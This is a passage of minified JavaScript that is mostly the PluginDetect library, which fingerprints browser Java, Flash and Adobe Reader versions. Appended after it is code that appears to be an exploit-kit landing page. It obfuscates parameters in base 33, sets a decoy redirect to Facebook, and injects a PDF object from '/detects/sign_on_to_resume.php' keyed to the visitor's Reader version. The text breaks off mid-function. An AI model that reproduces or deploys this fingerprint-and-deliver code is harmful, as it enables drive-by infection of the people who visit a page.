  947.                     c.version0 = e.formatNum(e.getNum(a))
  948.                 }
  949.                 if (d) {
  950.                     c.version = e.formatNum(e.getNum(d))
  951.                 }
  952.                 if (f && e.isString(f)) {
  953.                     c.vendor = f
  954.                 }
  955.                 if (!c.vendor) {
  956.                     c.vendor = ""
  957.                 }
  958.                 if (c.verify && c.verify.isEnabled()) {
  959.                     c.getVersionDone = 0
  960.                 } else {
  961.                     if (c.getVersionDone != 1) {
  962.                         if (c.OTF < 2) {
  963.                             c.getVersionDone = 0
  964.                         } else {
  965.                             c.getVersionDone = c.applet.can_Insert_Query_Any() ? 0 : 1
  966.                         }
  967.                     }
  968.                 }
  969.             },
  970.             DTK: {
  971.                 $: 1,
  972.                 hasRun: 0,
  973.                 status: null,
  974.                 VERSIONS: [],
  975.                 version: "",
  976.                 HTML: null,
  977.                 Plugin2Status: null,
  978.                 classID: ["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA", "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],
  979.                 mimeType: ["application/java-deployment-toolkit", "application/npruntime-scriptable-plugin;DeploymentToolkit"],
  980.                 disabled: function() {
  981.                     return this.$$.isDisabled.DTK()
  982.                 },
  983.                 query: function() {
  984.                     var k = this,
  985.                         g = k.$,
  986.                         d = k.$$,
  987.                         j, l, h, m = {},
  988.                         f = {},
  989.                         a, c = null,
  990.                         i = null,
  991.                         b = (k.hasRun || k.disabled());
  992.                     k.hasRun = 1;
  993.                     if (b) {
  994.                         return k
  995.                     }
  996.                     k.status = 0;
  997.                     if (g.isIE && 6 <= g.verIE) {
  998.                         for (l = 0; l < k.classID.length; l++) {
  999.                             k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  1000.                             c = g.getDOMobj(k.HTML);
  1001.                             try {
  1002.                                 if (c && c.jvms) {
  1003.                                     break
  1004.                                 }
  1005.                             } catch (j) {}
  1006.                         }
  1007.                     } else {
  1008.                         if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type) {
  1009.                             k.HTML = g.insertHTML("object", ["type", h.type], []);
  1010.                             c = g.getDOMobj(k.HTML)
  1011.                         }
  1012.                     }
  1013.                     if (c) {
  1014.                         try {
  1015.                             a = c.jvms;
  1016.                             if (a) {
  1017.                                 i = a.getLength();
  1018.                                 if (g.isNum(i)) {
  1019.                                     k.status = 0 < i ? 1 : -1;
  1020.                                     for (l = 0; l < i; l++) {
  1021.                                         h = g.getNum(a.get(i - 1 - l).version);
  1022.                                         if (h) {
  1023.                                             k.VERSIONS.push(h);
  1024.                                             f["a" + g.formatNum(h)] = 1
  1025.                                         }
  1026.                                     }
  1027.                                 }
  1028.                             }
  1029.                         } catch (j) {}
  1030.                     }
  1031.                     h = 0;
  1032.                     for (l in f) {
  1033.                         h++
  1034.                     }
  1035.                     if (h && h !== k.VERSIONS.length) {
  1036.                         k.VERSIONS = []
  1037.                     }
  1038.                     if (k.VERSIONS.length) {
  1039.                         k.version = g.formatNum(k.VERSIONS[0])
  1040.                     };
  1041.                     return k
  1042.                 }
  1043.             },
  1044.             AXO: {
  1045.                 $: 1,
  1046.                 hasRun: 0,
  1047.                 VERSIONS: [],
  1048.                 version: "",
  1049.                 disabled: function() {
  1050.                     return this.$$.isDisabled.AXO()
  1051.                 },
  1052.                 JavaVersions: [
  1053.                     [1, 9, 1, 40],
  1054.                     [1, 8, 1, 40],
  1055.                     [1, 7, 1, 40],
  1056.                     [1, 6, 0, 40],
  1057.                     [1, 5, 0, 30],
  1058.                     [1, 4, 2, 30],
  1059.                     [1, 3, 1, 30]
  1060.                 ],
  1061.                 query: function() {
  1062.                     var a = this,
  1063.                         e = a.$,
  1064.                         b = a.$$,
  1065.                         c = (a.hasRun || a.disabled());
  1066.                     a.hasRun = 1;
  1067.                     if (c) {
  1068.                         return a
  1069.                     }
  1070.                     var i = [],
  1071.                         k = [1, 5, 0, 14],
  1072.                         j = [1, 6, 0, 2],
  1073.                         h = [1, 3, 1, 0],
  1074.                         g = [1, 4, 2, 0],
  1075.                         f = [1, 5, 0, 7],
  1076.                         d = b.getInfo ? true : false,
  1077.                         l = {};
  1078.                     if (b.minIEver <= e.verIE) {
  1079.                         i = a.search(j, j, d);
  1080.                         if (0 < i.length && d) {
  1081.                             i = a.search(k, k, d)
  1082.                         }
  1083.                     } else {
  1084.                         if (d) {
  1085.                             i = a.search(f, f, true)
  1086.                         }
  1087.                         if (i.length == 0) {
  1088.                             i = a.search(h, g, false)
  1089.                         }
  1090.                     }
  1091.                     if (i.length) {
  1092.                         a.version = i[0];
  1093.                         a.VERSIONS = [].concat(i)
  1094.                     };
  1095.                     return a
  1096.                 },
  1097.                 search: function(a, j, p) {
  1098.                     var h, d, f = this,
  1099.                         e = f.$,
  1100.                         k = f.$$,
  1101.                         n, c, l, q, b, o, r, i = [];
  1102.                     if (0 < e.compareNums(a.join(","), j.join(","))) {
  1103.                         j = a
  1104.                     }
  1105.                     j = e.formatNum(j.join(","));
  1106.                     var m, s = "1,4,2,0",
  1107.                         g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0 < a[3] ? ("_" + (a[3] < 10 ? "0" : "") + a[3]) : "");
  1108.                     for (h = 0; h < f.JavaVersions.length; h++) {
  1109.                         d = f.JavaVersions[h];
  1110.                         n = "JavaPlugin." + d[0] + "" + d[1];
  1111.                         b = d[0] + "." + d[1] + ".";
  1112.                         for (l = d[2]; l >= 0; l--) {
  1113.                             r = "JavaWebStart.isInstalled." + b + l + ".0";
  1114.                             if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j) >= 0 && !e.getAXO(r)) {
  1115.                                 continue
  1116.                             }
  1117.                             m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
  1118.                             for (q = d[3]; q >= 0; q--) {
  1119.                                 c = l + "_" + (q < 10 ? "0" + q : q);
  1120.                                 o = n + c;
  1121.                                 if (e.getAXO(o) && (m || e.getAXO(r))) {
  1122.                                     i.push(b + c);
  1123.                                     if (!p) {
  1124.                                         return i
  1125.                                     }
  1126.                                 }
  1127.                                 if (o == g) {
  1128.                                     return i
  1129.                                 }
  1130.                             }
  1131.                             if (e.getAXO(n + l) && (m || e.getAXO(r))) {
  1132.                                 i.push(b + l);
  1133.                                 if (!p) {
  1134.                                     return i
  1135.                                 }
  1136.                             }
  1137.                             if (n + l == g) {
  1138.                                 return i
  1139.                             }
  1140.                         }
  1141.                     }
  1142.                     return i
  1143.                 }
  1144.             },
  1145.             navMime: {
  1146.                 $: 1,
  1147.                 hasRun: 0,
  1148.                 mimetype: "",
  1149.                 version: "",
  1150.                 length: 0,
  1151.                 mimeObj: 0,
  1152.                 pluginObj: 0,
  1153.                 disabled: function() {
  1154.                     return this.$$.isDisabled.navMime()
  1155.                 },
  1156.                 query: function() {
  1157.                     var i = this,
  1158.                         f = i.$,
  1159.                         a = i.$$,
  1160.                         b = (i.hasRun || i.disabled());
  1161.                     i.hasRun = 1;
  1162.                     if (b) {
  1163.                         return i
  1164.                     };
  1165.                     var n = /^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,
  1166.                         g, l, j, d = "",
  1167.                         h = "a",
  1168.                         o, m, k = {},
  1169.                         c = f.formatNum("0");
  1170.                     for (l = 0; l < navigator.mimeTypes.length; l++) {
  1171.                         o = navigator.mimeTypes[l];
  1172.                         m = o ? o.enabledPlugin : 0;
  1173.                         g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1174.                         if (g && m && (m.description || m.name)) {
  1175.                             if (!k[h + g]) {
  1176.                                 i.length++
  1177.                             }
  1178.                             k[h + g] = o.type;
  1179.                             if (0 < f.compareNums(g, c)) {
  1180.                                 c = g
  1181.                             }
  1182.                         }
  1183.                     }
  1184.                     g = k[h + c];
  1185.                     if (g) {
  1186.                         o = f.hasMimeType(g);
  1187.                         i.mimeObj = o;
  1188.                         i.pluginObj = o ? o.enabledPlugin : 0;
  1189.                         i.mimetype = g;
  1190.                         i.version = c
  1191.                     };
  1192.                     return i
  1193.                 }
  1194.             },
  1195.             navPlugin: {
  1196.                 $: 1,
  1197.                 hasRun: 0,
  1198.                 version: "",
  1199.                 disabled: function() {
  1200.                     return this.$$.isDisabled.navPlugin()
  1201.                 },
  1202.                 query: function() {
  1203.                     var m = this,
  1204.                         e = m.$,
  1205.                         c = m.$$,
  1206.                         h = c.navigator,
  1207.                         j, l, k, g, d, a, i, f = 0,
  1208.                         b = (m.hasRun || m.disabled());
  1209.                     m.hasRun = 1;
  1210.                     if (b) {
  1211.                         return m
  1212.                     };
  1213.                     a = h.pluginObj.name || "";
  1214.                     i = h.pluginObj.description || "";
  1215.                     if (!f || c.debug) {
  1216.                         g = /Java.*TM.*Platform[^\d]*(\d+)(?:[\.,_](\d*))?(?:\s*[Update]+\s*(\d*))?/i;
  1217.                         if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5) {
  1218.                             f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.$3 ? RegExp.$3 : "0")
  1219.                         }
  1220.                     }
  1221.                     if (!f || c.debug) {
  1222.                         g = /Java[^\d]*Plug-in/i;
  1223.                         l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1224.                         k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1225.                         if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.formatNum("2")) >= 0)) {
  1226.                             l = 0
  1227.                         }
  1228.                         if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.formatNum("2")) >= 0)) {
  1229.                             k = 0
  1230.                         }
  1231.                         d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
  1232.                         if (d) {
  1233.                             f = d
  1234.                         }
  1235.                     }
  1236.                     if (!f && e.isSafari && e.OS == 2) {
  1237.                         j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1238.                         if (j) {
  1239.                             l = e.getNum(j.description);
  1240.                             if (l) {
  1241.                                 f = l
  1242.                             }
  1243.                         }
  1244.                     };
  1245.                     if (f) {
  1246.                         m.version = e.formatNum(f)
  1247.                     };
  1248.                     return m
  1249.                 }
  1250.             },
  1251.             lang: {
  1252.                 $: 1,
  1253.                 System: {
  1254.                     $: 1,
  1255.                     hasRun: 0,
  1256.                     result: [null, null],
  1257.                     disabled: function() {
  1258.                         return this.$$.isDisabled.windowDotJava()
  1259.                     },
  1260.                     getPropertyHas: function(a) {
  1261.                         var b = this,
  1262.                             d = b.$,
  1263.                             c = b.getProperty()[0];
  1264.                         return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1265.                     },
  1266.                     getProperty: function() {
  1267.                         var f = this,
  1268.                             g = f.$,
  1269.                             d = f.$$,
  1270.                             i, h = {},
  1271.                             b = f.hasRun || f.disabled();
  1272.                         f.hasRun = 1;
  1273.                         if (!b) {
  1274.                             var a = "java_qqq990";
  1275.                             g[a] = null;
  1276.                             try {
  1277.                                 var c = document.createElement("script");
  1278.                                 c.type = "text/javascript";
  1279.                                 c.appendChild(document.createTextNode('(function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a + "=a||0})();"));
  1280.                                 g.head.insertBefore(c, g.head.firstChild);
  1281.                                 g.head.removeChild(c)
  1282.                             } catch (i) {}
  1283.                             if (g[a] && g.isArray(g[a])) {
  1284.                                 f.result = [].concat(g[a])
  1285.                             }
  1286.                         }
  1287.                         return f.result
  1288.                     }
  1289.                 }
  1290.             },
  1291.             applet: {
  1292.                 $: 1,
  1293.                 results: [
  1294.                     [null, null],
  1295.                     [null, null],
  1296.                     [null, null]
  1297.                 ],
  1298.                 getResult: function() {
  1299.                     var c = this.results,
  1300.                         a, b = [];
  1301.                     for (a = 0; a < c.length; a++) {
  1302.                         b = c[a];
  1303.                         if (b[0]) {
  1304.                             break
  1305.                         }
  1306.                     }
  1307.                     return [].concat(b)
  1308.                 },
  1309.                 HTML: [0, 0, 0],
  1310.                 active: [0, 0, 0],
  1311.                 DummyObjTagHTML: 0,
  1312.                 DummySpanTagHTML: 0,
  1313.                 allowed: [1, 1, 1],
  1314.                 VerifyTagsHas: function(c) {
  1315.                     var d = this,
  1316.                         b;
  1317.                     for (b = 0; b < d.allowed.length; b++) {
  1318.                         if (d.allowed[b] === c) {
  1319.                             return 1
  1320.                         }
  1321.                     }
  1322.                     return 0
  1323.                 },
  1324.                 saveAsVerifyTagsArray: function(c) {
  1325.                     var b = this,
  1326.                         d = b.$,
  1327.                         a;
  1328.                     if (d.isArray(c)) {
  1329.                         for (a = 0; a < b.allowed.length; a++) {
  1330.                             if (d.isNum(c[a])) {
  1331.                                 if (0 > c[a]) {
  1332.                                     c[a] = 0
  1333.                                 }
  1334.                                 if (c[a] > 3) {
  1335.                                     c[a] = 3
  1336.                                 }
  1337.                                 b.allowed[a] = c[a]
  1338.                             }
  1339.                         }
  1340.                     }
  1341.                 },
  1342.                 setVerifyTagsArray: function(d) {
  1343.                     var b = this,
  1344.                         c = b.$,
  1345.                         a = b.$$;
  1346.                     if (a.getVersionDone === null) {
  1347.                         b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1348.                     }
  1349.                     if (a.debug || (a.verify && a.verify.isEnabled())) {
  1350.                         b.saveAsVerifyTagsArray([3, 3, 3])
  1351.                     } else {
  1352.                         if (d) {
  1353.                             b.saveAsVerifyTagsArray(d)
  1354.                         }
  1355.                     }
  1356.                 },
  1357.                 allDisabled: function() {
  1358.                     return this.$$.isDisabled.allApplets()
  1359.                 },
  1360.                 isDisabled: function(d) {
  1361.                     var b = this,
  1362.                         c = b.$,
  1363.                         a = b.$$;
  1364.                     if (d == 2 && !c.isIE) {
  1365.                         return 1
  1366.                     }
  1367.                     if (d === 0 || d == 2) {
  1368.                         return a.isDisabled.ObjectTag()
  1369.                     }
  1370.                     if (d == 1) {
  1371.                         return a.isDisabled.AppletTag()
  1372.                     }
  1373.                 },
  1374.                 can_Insert_Query: function(b) {
  1375.                     var a = this;
  1376.                     if (a.HTML[b]) {
  1377.                         return 0
  1378.                     }
  1379.                     return !a.isDisabled(b)
  1380.                 },
  1381.                 can_Insert_Query_Any: function() {
  1382.                     var b = this,
  1383.                         a;
  1384.                     for (a = 0; a < b.results.length; a++) {
  1385.                         if (b.can_Insert_Query(a)) {
  1386.                             return 1
  1387.                         }
  1388.                     }
  1389.                     return 0
  1390.                 },
  1391.                 should_Insert_Query: function(d) {
  1392.                     var b = this,
  1393.                         e = b.allowed,
  1394.                         c = b.$,
  1395.                         a = b.$$;
  1396.                     if (!b.can_Insert_Query(d)) {
  1397.                         return 0
  1398.                     }
  1399.                     if (e[d] == 3) {
  1400.                         return 1
  1401.                     }
  1402.                     if (e[d] == 2.8 && !b.getResult()[0]) {
  1403.                         return 1
  1404.                     }
  1405.                     if (e[d] == 2.5 && !a.lang.System.getProperty()[0]) {
  1406.                         return 1
  1407.                     }
  1408.                     if (e[d] == 2.2 && !a.lang.System.getProperty()[0] && !b.getResult()[0]) {
  1409.                         return 1
  1410.                     }
  1411.                     if (!a.nonAppletDetectionOk(a.version0)) {
  1412.                         if (e[d] == 2) {
  1413.                             return 1
  1414.                         }
  1415.                         if (e[d] == 1 && !b.getResult()[0]) {
  1416.                             return 1
  1417.                         }
  1418.                     }
  1419.                     return 0
  1420.                 },
  1421.                 should_Insert_Query_Any: function() {
  1422.                     var b = this,
  1423.                         a;
  1424.                     for (a = 0; a < b.allowed.length; a++) {
  1425.                         if (b.should_Insert_Query(a)) {
  1426.                             return 1
  1427.                         }
  1428.                     }
  1429.                     return 0
  1430.                 },
  1431.                 query: function(f) {
  1432.                     var h, a = this,
  1433.                         g = a.$,
  1434.                         d = a.$$,
  1435.                         i = null,
  1436.                         j = null,
  1437.                         b = a.results,
  1438.                         c;
  1439.                     if ((b[f][0] && b[f][1]) || (d.debug && d.OTF < 3)) {
  1440.                         return
  1441.                     }
  1442.                     c = g.getDOMobj(a.HTML[f], true);
  1443.                     if (c) {
  1444.                         try {
  1445.                             i = g.getNum(c.getVersion() + " ");
  1446.                             j = c.getVendor() + " ";
  1447.                             c.statusbar(g.winLoaded ? " " : " ")
  1448.                         } catch (h) {}
  1449.                         if (i && g.isStrNum(i)) {
  1450.                             b[f] = [i, j]
  1451.                         } else {};
  1452.                         try {
  1453.                             if (g.isIE && i && c.readyState != 4) {
  1454.                                 g.garbage = true;
  1455.                                 c.parentNode.removeChild(c)
  1456.                             }
  1457.                         } catch (h) {}
  1458.                     }
  1459.                 },
  1460.                 insert_Query_Any: function() {
  1461.                     var d = this,
  1462.                         i = d.$,
  1463.                         e = d.$$,
  1464.                         l = d.results,
  1465.                         p = d.HTML,
  1466.                         a = "&nbsp;&nbsp;&nbsp;&nbsp;",
  1467.                         g = "A.class",
  1468.                         m = i.file.getValid(e);
  1469.                     if (!m) {
  1470.                         return d.getResult()
  1471.                     }
  1472.                     if (e.OTF < 1) {
  1473.                         e.OTF = 1
  1474.                     }
  1475.                     if (d.allDisabled()) {
  1476.                         return d.getResult()
  1477.                     }
  1478.                     if (e.OTF < 1.5) {
  1479.                         e.OTF = 1.5
  1480.                     }
  1481.                     var j = m.name + m.ext,
  1482.                         h = m.path;
  1483.                     var f = ["archive", j, "code", g],
  1484.                         c = ["mayscript", "true"],
  1485.                         o = ["scriptable", "true"].concat(c),
  1486.                         n = e.navigator,
  1487.                         b = !i.isIE && n.mimeObj && n.mimeObj.type ? n.mimeObj.type : e.mimeType[0];
  1488.                     if (d.should_Insert_Query(0)) {
  1489.                         if (e.OTF < 2) {
  1490.                             e.OTF = 2
  1491.                         };
  1492.                         p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(f).concat(o), a, e);
  1493.                         l[0] = [0, 0];
  1494.                         d.query(0)
  1495.                     }
  1496.                     if (d.should_Insert_Query(1)) {
  1497.                         if (e.OTF < 2) {
  1498.                             e.OTF = 2
  1499.                         };
  1500.                         p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), ["codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt", a].concat(c).concat(f), [].concat(c), a, e);
  1501.                         l[1] = [0, 0];
  1502.                         d.query(1)
  1503.                     }
  1504.                     if (d.should_Insert_Query(2)) {
  1505.                         if (e.OTF < 2) {
  1506.                             e.OTF = 2
  1507.                         };
  1508.                         p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h].concat(f).concat(o), a, e) : i.insertHTML();
  1509.                         l[2] = [0, 0];
  1510.                         d.query(2)
  1511.                     }
  1512.                     if (!d.DummyObjTagHTML && !e.isDisabled.ObjectTag()) {
  1513.                         d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1514.                     }
  1515.                     if (!d.DummySpanTagHTML) {
  1516.                         d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1517.                     };
  1518.                     var k = e.NOTF;
  1519.                     if (e.OTF < 3 && k.shouldContinueQuery()) {
  1520.                         e.OTF = 3;
  1521.                         k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1522.                         if (!i.winLoaded) {
  1523.                             i.WLfuncs0.push([k.winOnLoadQuery, k])
  1524.                         }
  1525.                         setTimeout(k.onIntervalQuery, k.intervalLength)
  1526.                     };
  1527.                     return d.getResult()
  1528.                 }
  1529.             },
  1530.             NOTF: {
  1531.                 $: 1,
  1532.                 count: 0,
  1533.                 countMax: 25,
  1534.                 intervalLength: 250,
  1535.                 shouldContinueQuery: function() {
  1536.                     var e = this,
  1537.                         d = e.$,
  1538.                         c = e.$$,
  1539.                         b = c.applet,
  1540.                         a;
  1541.                     for (a = 0; a < b.results.length; a++) {
  1542.                         if (b.HTML[a] && !b.results[a][0] && (b.allowed[a] >= 2 || (b.allowed[a] == 1 && !b.getResult()[0])) && e.isAppletActive(a) >= 0) {
  1543.                             return 1
  1544.                         }
  1545.                     }
  1546.                     return 0
  1547.                 },
  1548.                 isJavaActive: function(d) {
  1549.                     var f = this,
  1550.                         c = f.$$,
  1551.                         a, b, e = -9;
  1552.                     for (a = 0; a < c.applet.HTML.length; a++) {
  1553.                         b = f.isAppletActive(a, d);
  1554.                         if (b > e) {
  1555.                             e = b
  1556.                         }
  1557.                     }
  1558.                     return e
  1559.                 },
  1560.                 isAppletActive: function(c, a) {
  1561.                     var d = this,
  1562.                         b = d.$$.applet.active;
  1563.                     if (!a) {
  1564.                         b[c] = d.isAppletActive_(c)
  1565.                     }
  1566.                     return b[c]
  1567.                 },
  1568.                 isAppletActive_: function(d) {
  1569.                     var g = this,
  1570.                         f = g.$,
  1571.                         b = g.$$,
  1572.                         l = b.navigator,
  1573.                         a = b.applet,
  1574.                         h = a.HTML[d],
  1575.                         i, k, c = 0,
  1576.                         j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.count);
  1577.                     if (j == -2) {
  1578.                         return -2
  1579.                     }
  1580.                     try {
  1581.                         if (f.isIE && b.minIEver <= f.verIE && f.getDOMobj(h).object) {
  1582.                             return 1
  1583.                         }
  1584.                     } catch (i) {}
  1585.                     for (k = 0; k < a.active.length; k++) {
  1586.                         if (0 < a.active[k]) {
  1587.                             c = 1
  1588.                         }
  1589.                     }
  1590.                     if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.tagName == "object" || c)) || b.lang.System.getProperty()[0]))) {
  1591.                         return 1
  1592.                     }
  1593.                     if (0 > j) {
  1594.                         return -1
  1595.                     }
  1596.                     return 0
  1597.                 },
  1598.                 winOnLoadQuery: function(c, d) {
  1599.                     var b = d.$$,
  1600.                         a;
  1601.                     if (b.OTF == 3) {
  1602.                         a = d.queryAllApplets();
  1603.                         d.queryCompleted(a[1], a[2])
  1604.                     }
  1605.                 },
  1606.                 $$onIntervalQuery: function(d) {
  1607.                     var c = d.$,
  1608.                         b = d.$$,
  1609.                         a;
  1610.                     if (b.OTF == 3) {
  1611.                         a = d.queryAllApplets();
  1612.                         if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)) {
  1613.                             d.queryCompleted(a[1], a[2])
  1614.                         }
  1615.                     }
  1616.                     d.count++;
  1617.                     if (b.OTF == 3) {
  1618.                         setTimeout(d.onIntervalQuery, d.intervalLength)
  1619.                     }
  1620.                 },
  1621.                 queryAllApplets: function() {
  1622.                     var g = this,
  1623.                         f = g.$,
  1624.                         e = g.$$,
  1625.                         d = e.applet,
  1626.                         b, a, c;
  1627.                     for (b = 0; b < d.results.length; b++) {
  1628.                         d.query(b)
  1629.                     }
  1630.                     a = d.getResult();
  1631.                     c = a[0] ? true : false;
  1632.                     return [c, a[0], a[1]]
  1633.                 },
  1634.                 queryCompleted: function(c, f) {
  1635.                     var e = this,
  1636.                         d = e.$,
  1637.                         b = e.$$;
  1638.                     if (b.OTF >= 4) {
  1639.                         return
  1640.                     }
  1641.                     b.OTF = 4;
  1642.                     var a = e.isJavaActive();
  1643.                     b.setPluginStatus(c, f, 0);
  1644.                     if (b.funcs) {
  1645.                         d.callArray(b.funcs)
  1646.                     }
  1647.                     if (d.onDoneEmptyDiv) {
  1648.                         d.onDoneEmptyDiv()
  1649.                     }
  1650.                 }
  1651.             },
  1652.             zz: 0
  1653.         },
  1654.         flash: {
  1655.             mimeType: "application/x-shockwave-flash",
  1656.             progID: "ShockwaveFlash.ShockwaveFlash",
  1657.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  1658.             getVersion: function() {
  1659.                 var b = function(i) {
  1660.                         if (!i) {
  1661.                             return null
  1662.                         }
  1663.                         var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  1664.                         return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1665.                     };
  1666.                 var j = this,
  1667.                     g = j.$,
  1668.                     k, h, l = null,
  1669.                     c = null,
  1670.                     a = null,
  1671.                     f, m, d;
  1672.                 if (!g.isIE) {
  1673.                     m = g.hasMimeType(j.mimeType);
  1674.                     if (m) {
  1675.                         f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1676.                         try {
  1677.                             l = g.getNum(f.GetVariable("$version"))
  1678.                         } catch (k) {}
  1679.                     }
  1680.                     if (!l) {
  1681.                         d = m ? m.enabledPlugin : null;
  1682.                         if (d && d.description) {
  1683.                             l = b(d.description)
  1684.                         }
  1685.                         if (l) {
  1686.                             l = g.getPluginFileVersion(d, l)
  1687.                         }
  1688.                     }
  1689.                 } else {
  1690.                     for (h = 15; h > 2; h--) {
  1691.                         c = g.getAXO(j.progID + "." + h);
  1692.                         if (c) {
  1693.                             a = h.toString();
  1694.                             break
  1695.                         }
  1696.                     }
  1697.                     if (!c) {
  1698.                         c = g.getAXO(j.progID)
  1699.                     }
  1700.                     if (a == "6") {
  1701.                         try {
  1702.                             c.AllowScriptAccess = "always"
  1703.                         } catch (k) {
  1704.                             return "6,0,21,0"
  1705.                         }
  1706.                     }
  1707.                     try {
  1708.                         l = b(c.GetVariable("$version"))
  1709.                     } catch (k) {}
  1710.                     if (!l && a) {
  1711.                         l = a
  1712.                     }
  1713.                 }
  1714.                 j.installed = l ? 1 : -1;
  1715.                 j.version = g.formatNum(l);
  1716.                 return true
  1717.             }
  1718.         },
  1719.         adobereader: {
  1720.             mimeType: "application/pdf",
  1721.             navPluginObj: null,
  1722.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  1723.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  1724.             INSTALLED: {},
  1725.             pluginHasMimeType: function(d, c, f) {
  1726.                 var b = this,
  1727.                     e = b.$,
  1728.                     a;
  1729.                 for (a in d) {
  1730.                     if (d[a] && d[a].type && d[a].type == c) {
  1731.                         return 1
  1732.                     }
  1733.                 }
  1734.                 if (e.getMimeEnabledPlugin(c, f)) {
  1735.                     return 1
  1736.                 }
  1737.                 return 0
  1738.             },
  1739.             getVersion: function(l, j) {
  1740.                 var g = this,
  1741.                     d = g.$,
  1742.                     i, f, m, n, b = null,
  1743.                     h = null,
  1744.                     k = g.mimeType,
  1745.                     a, c;
  1746.                 if (d.isString(j)) {
  1747.                     j = j.replace(/\s/g, "");
  1748.                     if (j) {
  1749.                         k = j
  1750.                     }
  1751.                 } else {
  1752.                     j = null
  1753.                 }
  1754.                 if (d.isDefined(g.INSTALLED[k])) {
  1755.                     g.installed = g.INSTALLED[k];
  1756.                     return
  1757.                 }
  1758.                 if (!d.isIE) {
  1759.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1760.                     if (g.getVersionDone !== 0) {
  1761.                         g.getVersionDone = 0;
  1762.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  1763.                         if (!j) {
  1764.                             n = b
  1765.                         }
  1766.                         if (!b && d.hasMimeType(g.mimeType)) {
  1767.                             b = d.findNavPlugin(a, 0)
  1768.                         }
  1769.                         if (b) {
  1770.                             g.navPluginObj = b;
  1771.                             h = d.getNum(b.description) || d.getNum(b.name);
  1772.                             h = d.getPluginFileVersion(b, h);
  1773.                             if (!h && d.OS == 1) {
  1774.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  1775.                                     h = "9"
  1776.                                 } else {
  1777.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  1778.                                         h = "8"
  1779.                                     }
  1780.                                 }
  1781.                             }
  1782.                         }
  1783.                     } else {
  1784.                         h = g.version
  1785.                     }
  1786.                     if (!d.isDefined(n)) {
  1787.                         n = d.getMimeEnabledPlugin(k, a)
  1788.                     }
  1789.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  1790.                 } else {
  1791.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1792.                     c = /=\s*([\d\.]+)/g;
  1793.                     try {
  1794.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
  1795.                         for (m = 0; m < 5; m++) {
  1796.                             if (c.test(f) && (!h || h < RegExp.$1)) {
  1797.                                 h = RegExp.$1
  1798.                             }
  1799.                         }
  1800.                     } catch (i) {}
  1801.                     g.installed = h ? 1 : (b ? 0 : -1)
  1802.                 }
  1803.                 if (!g.version) {
  1804.                     g.version = d.formatNum(h)
  1805.                 }
  1806.                 g.INSTALLED[k] = g.installed
  1807.             }
  1808.         },
  1809.         zz: 0
  1810.     }
  1811. };
  1812. PluginDetect.initScript();
  1813. PluginDetect.getVersion(".");
  1814. var $$ = PluginDetect;
  1815.  
  1816. function x(s) {
  1817.     d = [];
  1818.     for (i = 0; i < s.length; i++) {
  1819.         k = (s.charCodeAt(i)).toString(33);
  1820.         d.push(k);
  1821.     };
  1822.     return d.join(":");
  1823. }
  1824. end_redirect = function() {
  1825.     window.location.href = 'http://www.facebook.com';
  1826. };
  1827.  
  1828. function j1() {
  1829.     return true;
  1830. }
  1831. function j2() {
  1832.     return true;
  1833. }
  1834. function p1() {
  1835.     var d = document.createElement("object");
  1836.     d.setAttribute("data", "/detects/sign_on_to_resume.php?kieisaio=" + x("1afab") + "&zesp=" + x("mcu") + "&tbpubh=32:2w:31:32:1k:33:1m:1f:1j:1f&shle=" + x(pdfver.join(".")));
  1837.     d.setAttribute("type", "application/pdf");
  1838.     document.body.appendChild(d);
  1839. }
  1840. function p2() {
